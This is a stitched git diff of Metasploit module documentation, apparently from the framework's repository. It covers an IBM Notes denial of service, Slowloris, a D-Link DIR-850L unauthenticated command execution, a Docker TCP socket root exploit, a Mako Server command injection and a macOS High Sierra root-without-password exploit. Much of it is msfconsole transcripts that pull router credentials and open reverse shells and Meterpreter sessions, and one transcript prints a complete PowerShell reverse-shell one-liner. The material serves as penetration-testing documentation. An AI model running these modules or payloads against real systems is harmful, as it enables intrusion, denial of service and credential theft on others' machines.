`use auxiliary/dos/http/ibm_lotus_notes2.rb`
|
||||||
|
|
||||||
|
Set `SRVHOST`
|
||||||
|
|
||||||
|
Set `SRVPORT`
|
||||||
|
|
||||||
|
run (Server started)
|
||||||
|
Visit server URL in the built-in web-browser of IBM Notes client application
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use auxiliary/dos/http/ibm_lotus_notes2
|
||||||
|
msf auxiliary(ibm_lotus_notes2) > show options
|
||||||
|
|
||||||
|
Module options (auxiliary/dos/http/ibm_lotus_notes2):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
|
||||||
|
SRVPORT 8080 yes The local port to listen on.
|
||||||
|
SSL false no Negotiate SSL for incoming connections
|
||||||
|
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||||
|
URIPATH no The URI to use for this exploit (default is random)
|
||||||
|
|
||||||
|
|
||||||
|
Auxiliary action:
|
||||||
|
|
||||||
|
Name Description
|
||||||
|
---- -----------
|
||||||
|
WebServer
|
||||||
|
|
||||||
|
|
||||||
|
msf auxiliary(ibm_lotus_notes2) > set SRVHOST 192.168.0.50
|
||||||
|
SRVHOST => 192.168.0.50
|
||||||
|
msf auxiliary(ibm_lotus_notes2) > set SRVPORT 9092
|
||||||
|
SRVPORT => 9092
|
||||||
|
msf auxiliary(ibm_lotus_notes2) > run
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
msf auxiliary(ibm_lotus_notes2) >
|
||||||
|
[*] Using URL: http://192.168.0.50:9092/mypath
|
||||||
|
[*] Server started.
|
||||||
|
msf auxiliary(ibm_lotus_notes2) >
|
||||||
|
```
|
||||||
|
|
||||||
|
At this point, the target should use the built-in web browser of their IBM Lotus Notes client to navigate to the above "Using URL" value. And then they should see their Notes app become unresponsive.
|
|
@ -0,0 +1,47 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
This module tries to keep many connections to the target web server open and hold them open as long as possible.
|
||||||
|
|
||||||
|
To test this module download and setup the Metasploitable 2 vulnerable Linux virtual machine available at [https://sourceforge.net/projects/metasploitable/files/Metasploitable2/](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/).
|
||||||
|
|
||||||
|
Vulnerable application versions include:
|
||||||
|
|
||||||
|
- Apache HTTP Server 1.x and 2.x
|
||||||
|
- Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27 and 7.0.0 beta
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start msfconsole
|
||||||
|
2. Do: `use auxiliary/dos/http/slowloris`
|
||||||
|
3. Do: `set RHOST`
|
||||||
|
4. Do: `run`
|
||||||
|
5. Visit server URL in your web-browser.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Apache/2.2.8 - Ubuntu 8.04
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use auxiliary/dos/http/slowloris
|
||||||
|
msf auxiliary(slowloris) > show options
|
||||||
|
|
||||||
|
Module options (auxiliary/dos/http/slowloris):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
delay 15 yes The delay between sending keep-alive headers
|
||||||
|
rand_user_agent true yes Randomizes user-agent with each request
|
||||||
|
rhost 172.28.128.4 yes The target address
|
||||||
|
rport 80 yes The target port
|
||||||
|
sockets 150 yes The number of sockets to use in the attack
|
||||||
|
ssl false yes Negotiate SSL/TLS for outgoing connections
|
||||||
|
|
||||||
|
msf auxiliary(slowloris) > set rhost 172.28.128.4
|
||||||
|
rhost => 172.28.128.4
|
||||||
|
msf auxiliary(slowloris) > run
|
||||||
|
|
||||||
|
[*] Starting server...
|
||||||
|
[*] Attacking 172.28.128.4 with 150 sockets
|
||||||
|
[*] Creating sockets...
|
||||||
|
[*] Sending keep-alive headers... Socket count: 150
|
||||||
|
```
|
|
@ -0,0 +1,64 @@
|
||||||
|
The module dlink_dir850_(un)auth_exec leverages an unauthenticated credential disclosure vulnerability to then execute arbitrary commands via an authenticated OS command injection
|
||||||
|
vulnerability. D-LINK 850L (excluding "Cloud" models) devices with firmware version up to 1.14B07
|
||||||
|
are potentially vulnerable. The vulnerability seems to occur within the parsing of the config. Another PoC can be found here https://www.seebug.org/vuldb/ssvid-96333. Setting command to be `reboot` will force the router into an infinite loop.
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
|
||||||
|
1. Start msfconsole
|
||||||
|
2. Do : `use exploit/linux/http/dlink_dir850l_unauth_exec.rb`
|
||||||
|
3. Do : `set RHOST [RouterIP]`
|
||||||
|
4. Do : `set PAYLOAD linux/mipsbe/shell/reverse_tcp`
|
||||||
|
5. Do : `run`
|
||||||
|
6. If router is vulnerable, payload should be dropped via wget and executed, and therein should obtain an session
|
||||||
|
|
||||||
|
|
||||||
|
## Example
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/linux/http/dlink_dir850l_unauth_exec
|
||||||
|
msf exploit(dlink_dir850l_unauth_exec) > set RHOST 192.168.0.14
|
||||||
|
RHOST => 192.168.0.14
|
||||||
|
msf exploit(dlink_dir850l_unauth_exec) > set RPORT 80
|
||||||
|
RPORT => 80
|
||||||
|
msf exploit(dlink_dir850l_unauth_exec) > check
|
||||||
|
[*] 192.168.0.14:80 The target service is running, but could not be validated.
|
||||||
|
msf exploit(dlink_dir850l_unauth_exec) > set VERBOSE true
|
||||||
|
VERBOSE => true
|
||||||
|
msf exploit(dlink_dir850l_unauth_exec) > set LHOST ens3
|
||||||
|
LHOST => ens3
|
||||||
|
msf exploit(dlink_dir850l_unauth_exec) > set LPORT 3131
|
||||||
|
LPORT => 3131
|
||||||
|
msf exploit(dlink_dir850l_unauth_exec) > run
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 192.168.0.11:3131
|
||||||
|
[*] 192.168.0.14:80 - Connecting to target...
|
||||||
|
[+] 192.168.0.14:80 - Retrieved the username/password combo Admin/92830535
|
||||||
|
[+] 192.168.0.14:80 - Downloaded credentials to /root/.msf4/loot/20171104113614_default_192.168.0.14_dlink.dir850l.lo_146186.txt
|
||||||
|
[*] 192.168.0.14:80 - Starting up web service http://192.168.0.11:8080/ZUrlVeWUm
|
||||||
|
[*] Using URL: http://0.0.0.0:8080/ZUrlVeWUm
|
||||||
|
[*] Local IP: http://192.168.0.11:8080/ZUrlVeWUm
|
||||||
|
[*] 192.168.0.14:80 - Asking target to request to download http://192.168.0.11:8080/ZUrlVeWUm
|
||||||
|
[*] 192.168.0.14:80 - Waiting for target to request the ELF payload...
|
||||||
|
[*] 192.168.0.14:80 - Sending payload to the server...
|
||||||
|
[*] 192.168.0.14:80 - Requesting device to chmod ZUrlVeWUm
|
||||||
|
[*] 192.168.0.14:80 - Requesting device to execute ZUrlVeWUm
|
||||||
|
[*] 192.168.0.14:80 - Waiting 10 seconds for shell to connect back to us...
|
||||||
|
[*] Sending stage (84 bytes) to 192.168.0.14
|
||||||
|
[*] Command shell session 1 opened (192.168.0.11:3131 -> 192.168.0.14:43953) at 2017-11-04 11:36:26 -0400
|
||||||
|
[+] Deleted /tmp/uoskutcy
|
||||||
|
[-] Exploit aborted due to failure: unknown: 192.168.0.14:80 - Shell never connected to us!, disconnect?
|
||||||
|
[*] Server stopped.
|
||||||
|
[*] Exploit completed, but no session was created.
|
||||||
|
msf exploit(dlink_dir850l_unauth_exec) > sessions -i 1
|
||||||
|
[*] Starting interaction with 1...
|
||||||
|
|
||||||
|
190745749
|
||||||
|
wUVNdEKSrgeaxdSQyfTyxvaoYgFzyvGj
|
||||||
|
true
|
||||||
|
pQfaUhhwMvgnWrLpQXhhUAioNBFHPRZP
|
||||||
|
OgkEaOTPYbUEOLlLpLFEbodBvHFmVRmH
|
||||||
|
iNaYBrmsZqFyolPWWRKEHsKglrSlSGkY
|
||||||
|
pwd
|
||||||
|
/
|
||||||
|
```
|
|
@ -67,6 +67,8 @@ OK
|
||||||
|
|
||||||
[Disable][5] or [protect][6] the Docker tcp socket.
|
[Disable][5] or [protect][6] the Docker tcp socket.
|
||||||
|
|
||||||
|
[User namespaces][7] did **not** protect against this.
|
||||||
|
|
||||||
# Exploitation
|
# Exploitation
|
||||||
This module is designed for the attacker to leverage, creation of a
|
This module is designed for the attacker to leverage, creation of a
|
||||||
Docker container with out authentication through the Docker tcp socket
|
Docker container with out authentication through the Docker tcp socket
|
||||||
|
@ -88,8 +90,8 @@ to gain root access to the hosting server of the Docker container.
|
||||||
msf > use exploit/linux/http/docker_daemon_tcp
|
msf > use exploit/linux/http/docker_daemon_tcp
|
||||||
msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
|
msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
|
||||||
RHOST => 192.168.66.23
|
RHOST => 192.168.66.23
|
||||||
msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp
|
msf exploit(docker_daemon_tcp) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
|
||||||
PAYLOAD => python/meterpreter/reverse_tcp
|
PAYLOAD => linux/x64/meterpreter/reverse_tcp
|
||||||
msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
|
msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
|
||||||
LHOST => 192.168.66.10
|
LHOST => 192.168.66.10
|
||||||
msf exploit(docker_daemon_tcp) > set VERBOSE true
|
msf exploit(docker_daemon_tcp) > set VERBOSE true
|
||||||
|
@ -108,18 +110,17 @@ msf exploit(docker_daemon_tcp) > run
|
||||||
[*] Waiting for the cron job to run, can take up to 60 seconds
|
[*] Waiting for the cron job to run, can take up to 60 seconds
|
||||||
[*] Waiting until the docker container stopped
|
[*] Waiting until the docker container stopped
|
||||||
[*] The docker container has been stopped, now trying to remove it
|
[*] The docker container has been stopped, now trying to remove it
|
||||||
[*] Sending stage (40411 bytes) to 192.168.66.23
|
[*] Sending stage (2878936 bytes) to 192.168.66.23
|
||||||
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
|
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
|
||||||
[+] Deleted /etc/cron.d/lVoepNpy
|
[+] Deleted /etc/cron.d/lVoepNpy
|
||||||
[+] Deleted /tmp/poasDIuZ
|
[+] Deleted /tmp/poasDIuZ
|
||||||
|
|
||||||
|
|
||||||
meterpreter > sysinfo
|
meterpreter > sysinfo
|
||||||
Computer : debian
|
Computer : rancher
|
||||||
OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)
|
OS : Debian 9.1 (Linux 4.9.0-3-amd64)
|
||||||
Architecture : x64
|
Architecture : x64
|
||||||
System Language : en_US
|
Meterpreter : x64/linux
|
||||||
Meterpreter : python/linux
|
|
||||||
meterpreter >
|
meterpreter >
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -129,3 +130,4 @@ meterpreter >
|
||||||
[4]:https://docs.docker.com/engine/admin/systemd/
|
[4]:https://docs.docker.com/engine/admin/systemd/
|
||||||
[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options
|
[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options
|
||||||
[6]:https://docs.docker.com/engine/security/https/
|
[6]:https://docs.docker.com/engine/security/https/
|
||||||
|
[7]:https://docs.docker.com/engine/security/userns-remap/#disable-namespace-remapping-for-a-container
|
||||||
|
|
|
@ -0,0 +1,251 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This module exploits a vulnerability found in Mako Server v2.5, 2.6.
|
||||||
|
It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp.
|
||||||
|
|
||||||
|
Based on the public PoC found here: https://blogs.securiteam.com/index.php/archives/3391
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
[Mako Server](https://makoserver.net) is an application framework for designing web and IoT applications.
|
||||||
|
|
||||||
|
This module has been verified against the following Mako Server versions for Windows XP SP3, Windows 7 SP1 and Linux Ubuntu 16.04 LTS:
|
||||||
|
- v2.5
|
||||||
|
- v2.6
|
||||||
|
|
||||||
|
Links:
|
||||||
|
- [Windows x86 installer](https://makoserver.net/download/mako.windows.x86.exe)
|
||||||
|
- [Windows download page](https://makoserver.net/download/windows)
|
||||||
|
- [Linux x64 installer](https://makoserver.net/download/mako.linux-x64.tar.gz)
|
||||||
|
- [Linux download page](https://makoserver.net/download/linux-x86)
|
||||||
|
- [Documentation](https://makoserver.net/download/manual)
|
||||||
|
|
||||||
|
## References for vulnerability
|
||||||
|
- https://blogs.securiteam.com/index.php/archives/3391
|
||||||
|
- https://www.exploit-db.com/exploits/42683
|
||||||
|
|
||||||
|
## Verification Steps for Windows
|
||||||
|
|
||||||
|
1. Run the installer "mako.windows.x86" on a Windows 7 SP1 (x86/x64) target (with Powershell for this example to work)
|
||||||
|
2. After installer finishes, double click the "Mako-Demo" shortcut on the desktop
|
||||||
|
4. Start msfconsole on host
|
||||||
|
5. Do: ```use exploit/multi/http/makoserver_cmd_exec```
|
||||||
|
6. Do: ```set RHOST <IP address of target system>```
|
||||||
|
7. Do: ```set PAYLOAD cmd/windows/reverse_powershell```
|
||||||
|
8. Do: ```set LHOST <IP address of host system>```
|
||||||
|
9. Do: ```exploit```
|
||||||
|
10. You should get a Windows command shell
|
||||||
|
|
||||||
|
## Verification Steps for Linux
|
||||||
|
|
||||||
|
1. Extract the "mako.linux-x64.tar.gz" on a Linux Ubuntu 16.04 LTS (x64) target (with Python for this example to work)
|
||||||
|
2. From inside the extracted folder, do ```./rundemo.sh```
|
||||||
|
4. Start msfconsole on host
|
||||||
|
5. Do: ```use exploit/multi/http/makoserver_cmd_exec```
|
||||||
|
6. Do: ```set RHOST <IP address of target system>```
|
||||||
|
7. Do: ```set PAYLOAD cmd/unix/python_reverse```
|
||||||
|
8. Do: ```set LHOST <IP address of host system>```
|
||||||
|
9. Do: ```exploit```
|
||||||
|
10. You should get a Linux command shell (may need to wait ~30 seconds)
|
||||||
|
|
||||||
|
## Example Output
|
||||||
|
```
|
||||||
|
msf > use exploit/multi/http/makoserver_cmd_exec
|
||||||
|
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
|
||||||
|
RHOST => 10.10.10.3
|
||||||
|
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
|
||||||
|
PAYLOAD => cmd/windows/reverse_powershell
|
||||||
|
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.2
|
||||||
|
LHOST => 10.10.10.2
|
||||||
|
msf exploit(makoserver_cmd_exec) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 10.10.10.2:4444
|
||||||
|
[*] Sending payload to target...
|
||||||
|
[*] Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:49175) at 2017-10-26 21:23:59 -0400
|
||||||
|
|
||||||
|
Microsoft Windows
|
||||||
|
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
|
||||||
|
|
||||||
|
C:\Users\Smith\Downloads\MakoServer>
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## Example Verbose Output
|
||||||
|
```
|
||||||
|
msf > use exploit/multi/http/makoserver_cmd_exec
|
||||||
|
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
|
||||||
|
RHOST => 10.10.10.3
|
||||||
|
msf exploit(makoserver_cmd_exec) > set VERBOSE true
|
||||||
|
VERBOSE => true
|
||||||
|
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
|
||||||
|
PAYLOAD => cmd/windows/reverse_powershell
|
||||||
|
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.2
|
||||||
|
LHOST => 10.10.10.2
|
||||||
|
msf exploit(makoserver_cmd_exec) > check
|
||||||
|
|
||||||
|
[*] Trying to detect running Mako Server and necessary files...
|
||||||
|
[*] Mako Server save.lsp returns correct ouput.
|
||||||
|
[*] 10.10.10.3:80 The target appears to be vulnerable.
|
||||||
|
msf exploit(makoserver_cmd_exec) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 10.10.10.2:4444
|
||||||
|
[*] Sending payload to target...
|
||||||
|
[*] Now executing the following command: os.execute([[powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) {$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='10.10.10.2';$p='4444';$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if ($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e.GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};]])
|
||||||
|
[*] Sending PUT request to save.lsp...
|
||||||
|
[*] Sending GET request to manage.lsp...
|
||||||
|
[*] Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:49174) at 2017-10-26 21:21:08 -0400
|
||||||
|
|
||||||
|
Microsoft Windows
|
||||||
|
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
|
||||||
|
|
||||||
|
C:\Users\Smith\Downloads\MakoServer>
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Targeting Windows 7 SP1 x64 running Mako Server v2.5
|
||||||
|
|
||||||
|
A typical scenario would be to obtain a Windows command shell and then upgrade to a Meterpreter session:
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/multi/http/makoserver_cmd_exec
|
||||||
|
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
|
||||||
|
RHOST => 10.10.10.2
|
||||||
|
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
|
||||||
|
PAYLOAD => cmd/windows/reverse_powershell
|
||||||
|
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.4
|
||||||
|
LHOST => 10.10.10.4
|
||||||
|
msf exploit(makoserver_cmd_exec) > check
|
||||||
|
[*] 10.10.10.2:80 The target appears to be vulnerable.
|
||||||
|
msf exploit(makoserver_cmd_exec) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 10.10.10.4:4444
|
||||||
|
[*] Sending payload to target...
|
||||||
|
[*] Command shell session 1 opened (10.10.10.4:4444 -> 10.10.10.2:49189) at 2017-10-25 20:57:56 -0400
|
||||||
|
|
||||||
|
Microsoft Windows
|
||||||
|
Copyright (c) Microsoft Corporation. All rights reserved.
|
||||||
|
|
||||||
|
C:\Users\Smith\Downloads\MakoServer>^Z
|
||||||
|
Background session 1? [y/N] y
|
||||||
|
msf exploit(makoserver_cmd_exec) > use multi/manage/shell_to_meterpreter
|
||||||
|
msf post(shell_to_meterpreter) > sessions -l
|
||||||
|
|
||||||
|
Active sessions
|
||||||
|
===============
|
||||||
|
|
||||||
|
Id Name Type Information Connection
|
||||||
|
-- ---- ---- ----------- ----------
|
||||||
|
1 shell cmd/windows 10.10.10.4:4444 -> 10.10.10.2:49189 (10.10.10.2)
|
||||||
|
msf post(shell_to_meterpreter) > set SESSION 1
|
||||||
|
SESSION => 1
|
||||||
|
msf post(shell_to_meterpreter) > set LPORT 8080
|
||||||
|
LPORT => 8080
|
||||||
|
msf post(shell_to_meterpreter) > exploit
|
||||||
|
|
||||||
|
[*] Upgrading session ID: 1
|
||||||
|
[*] Starting exploit/multi/handler
|
||||||
|
[*] Started reverse TCP handler on 10.10.10.4:8080
|
||||||
|
[-] Powershell is not installed on the target.
|
||||||
|
[*] Command stager progress: 1.66% (1699/102108 bytes)
|
||||||
|
...
|
||||||
|
[*] Command stager progress: 100.00% (102108/102108 bytes)
|
||||||
|
[*] Post module execution completed
|
||||||
|
msf post(shell_to_meterpreter) > sessions -l
|
||||||
|
|
||||||
|
Active sessions
|
||||||
|
===============
|
||||||
|
|
||||||
|
Id Name Type Information Connection
|
||||||
|
-- ---- ---- ----------- ----------
|
||||||
|
1 shell cmd/windows 10.10.10.4:4444 -> 10.10.10.2:49189 (10.10.10.2)
|
||||||
|
2 meterpreter x86/windows smith-PC\smith @ SMITH-PC 10.10.10.4:8080 -> 10.10.10.2:49190 (10.10.10.2)
|
||||||
|
|
||||||
|
msf post(shell_to_meterpreter) > sessions -i 2
|
||||||
|
[*] Starting interaction with 2...
|
||||||
|
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: smith-PC\smith
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : SMITH-PC
|
||||||
|
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||||
|
Architecture : x64
|
||||||
|
System Language : en_US
|
||||||
|
Domain : WORKGROUP
|
||||||
|
Logged On Users : 2
|
||||||
|
Meterpreter : x86/windows
|
||||||
|
```
|
||||||
|
|
||||||
|
### Targeting Linux Ubuntu 16.04 LTS x64 running Mako Server v2.5
|
||||||
|
|
||||||
|
A typical scenario would be to obtain a Linux command shell and then upgrade to a Meterpreter session:
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/multi/http/makoserver_cmd_exec
|
||||||
|
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
|
||||||
|
RHOST => 10.10.10.2
|
||||||
|
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/unix/reverse_python
|
||||||
|
PAYLOAD => cmd/unix/reverse_python
|
||||||
|
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.4
|
||||||
|
LHOST => 10.10.10.4
|
||||||
|
msf exploit(makoserver_cmd_exec) > check
|
||||||
|
[*] 10.10.10.2:80 The target appears to be vulnerable.
|
||||||
|
msf exploit(makoserver_cmd_exec) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 10.10.10.4:4444
|
||||||
|
[*] Sending payload to target...
|
||||||
|
[*] Command shell session 1 opened (10.10.10.4:4444 -> 10.10.10.2:57888) at 2017-11-10 15:52:33 -0500
|
||||||
|
|
||||||
|
ls
|
||||||
|
LICENSE.txt
|
||||||
|
mako
|
||||||
|
mako.zip
|
||||||
|
README.txt
|
||||||
|
rundemo.sh
|
||||||
|
tutorial
|
||||||
|
^Z
|
||||||
|
Background session 1? [y/N] y
|
||||||
|
msf exploit(makoserver_cmd_exec) > use multi/manage/shell_to_meterpreter
|
||||||
|
msf post(shell_to_meterpreter) > sessions -l
|
||||||
|
|
||||||
|
Active sessions
|
||||||
|
===============
|
||||||
|
|
||||||
|
Id Name Type Information Connection
|
||||||
|
-- ---- ---- ----------- ----------
|
||||||
|
1 shell cmd/unix 10.10.10.4:4444 -> 10.10.10.2:57888 (10.10.10.2)
|
||||||
|
|
||||||
|
msf post(shell_to_meterpreter) > set SESSION 1
|
||||||
|
SESSION => 1
|
||||||
|
msf post(shell_to_meterpreter) > set LPORT 8080
|
||||||
|
LPORT => 8080
|
||||||
|
msf post(shell_to_meterpreter) > exploit
|
||||||
|
|
||||||
|
[*] Upgrading session ID: 1
|
||||||
|
[*] Starting exploit/multi/handler
|
||||||
|
[*] Started reverse TCP handler on 10.10.10.4:8080
|
||||||
|
[*] Sending stage (847604 bytes) to 10.10.10.2
|
||||||
|
[*] Meterpreter session 2 opened (10.10.10.4:8080 -> 10.10.10.2:60448) at 2017-11-10 15:54:38 -0500
|
||||||
|
[*] Command stager progress: 100.00% (736/736 bytes)
|
||||||
|
[*] Post module execution completed
|
||||||
|
msf post(shell_to_meterpreter) > sessions -l
|
||||||
|
|
||||||
|
Active sessions
|
||||||
|
===============
|
||||||
|
|
||||||
|
Id Name Type Information Connection
|
||||||
|
-- ---- ---- ----------- ----------
|
||||||
|
1 shell cmd/unix 10.10.10.4:4444 -> 10.10.10.2:57888 (10.10.10.2)
|
||||||
|
2 meterpreter x86/linux uid=1000, gid=1000, euid=1000, egid=1000 @ 10.10.10.2 10.10.10.4:8080 -> 10.10.10.2:60448 (10.10.10.2)
|
||||||
|
msf post(shell_to_meterpreter) > sessions -i 2
|
||||||
|
[*] Starting interaction with 2...
|
||||||
|
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: uid=1000, gid=1000, euid=1000, egid=1000
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : 10.10.10.2
|
||||||
|
OS : Ubuntu 16.04 (Linux 4.10.0-35-generic)
|
||||||
|
Architecture : x64
|
||||||
|
Meterpreter : x86/linux
|
||||||
|
```
|
|
@ -0,0 +1,104 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
This vulnerability works against OSX 10.13 (High Sierra). Early
|
||||||
|
research (https://objective-see.com/blog/blog_0x24.html) suggests that
|
||||||
|
the vulnerability is the result of multiple errors ultimately started by
|
||||||
|
an incorrect return value from triggered by the function
|
||||||
|
`od_verify_crypt_password` returning true even if the account is
|
||||||
|
disabled. The subsequent function calls appear to validate and create
|
||||||
|
the password, though there is still a lot of research into the bug and
|
||||||
|
these results should be verified once more research has been published.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
1. Get a session on a vulnerable system
|
||||||
|
2. `use exploit/osx/local/root_no_password`
|
||||||
|
3. `set lhost <IP>`
|
||||||
|
4. `set lport <PORT>`
|
||||||
|
5. `set session <session_id>`
|
||||||
|
6. `run`
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
### Example Run
|
||||||
|
```
|
||||||
|
msf exploit(psexec) > use exploit/multi/handler
|
||||||
|
msf exploit(handler) > set payload osx/x64/meterpreter_reverse_tcp
|
||||||
|
payload => osx/x64/meterpreter_reverse_tcp
|
||||||
|
msf exploit(handler) > set lhost <MSF_IP>
|
||||||
|
lhost => <MSF_IP>
|
||||||
|
msf exploit(handler) > set lport 4567
|
||||||
|
lport => 4567
|
||||||
|
msf exploit(handler) > run
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on <MSF_IP>:4567
|
||||||
|
httpserver[*] Meterpreter session 1 opened (<MSF_IP>:4567 -> <OSX_IP>:49347) at 2017-11-29 07:28:32 -0600
|
||||||
|
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : msfusers-Mac.local
|
||||||
|
OS : (MacOSX 17.0.0)
|
||||||
|
Architecture : x64
|
||||||
|
Meterpreter : x64/osx
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: uid=501, gid=20, euid=501, egid=20
|
||||||
|
meterpreter > background
|
||||||
|
[*] Backgrounding session 1...
|
||||||
|
msf exploit(handler) > use exploit/osx/local/root_no_password
|
||||||
|
msf exploit(root_no_password) > show options
|
||||||
|
|
||||||
|
Module options (exploit/osx/local/root_no_password):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
SESSION yes The session to run this module on.
|
||||||
|
|
||||||
|
|
||||||
|
Payload options (osx/x64/meterpreter_reverse_tcp):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
LHOST yes The listen address
|
||||||
|
LPORT 4444 yes The listen port
|
||||||
|
|
||||||
|
|
||||||
|
Exploit target:
|
||||||
|
|
||||||
|
Id Name
|
||||||
|
-- ----
|
||||||
|
0 Mac OS X 10.13.1 High Sierra x64 (Native Payload)
|
||||||
|
|
||||||
|
|
||||||
|
msf exploit(root_no_password) > set lhost <MSF_IP>
|
||||||
|
lhost => <MSF_IP>
|
||||||
|
msf exploit(root_no_password) > set lport 4562
|
||||||
|
lport => 4562
|
||||||
|
msf exploit(root_no_password) > set session 1
|
||||||
|
session => 1
|
||||||
|
msf exploit(root_no_password) > run
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on <MSF_IP>:4562
|
||||||
|
[*] Writing payload file as '/tmp/cinbvsmrmyxw'
|
||||||
|
[*] Meterpreter session 2 opened (<MSF_IP>:4562 -> <OSX_IP>:62522) at 2017-11-29 07:29:56 -0600
|
||||||
|
[*] <OSX_IP> - Meterpreter session 2 closed. Reason: Died
|
||||||
|
|
||||||
|
|
||||||
|
[*] Executing payload file as '/tmp/cinbvsmrmyxw'
|
||||||
|
[!] This exploit may require manual cleanup of '/tmp/cinbvsmrmyxw' on the target
|
||||||
|
|
||||||
|
[-] Invalid session identifier: 2
|
||||||
|
msf exploit(root_no_password) >
|
||||||
|
msf exploit(root_no_password) >
|
||||||
|
msf exploit(root_no_password) > run
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on <MSF_IP>:4562
|
||||||
|
[*] Writing payload file as '/tmp/imtjkakowanv'
|
||||||
|
[*] Executing payload file as '/tmp/imtjkakowanv'
|
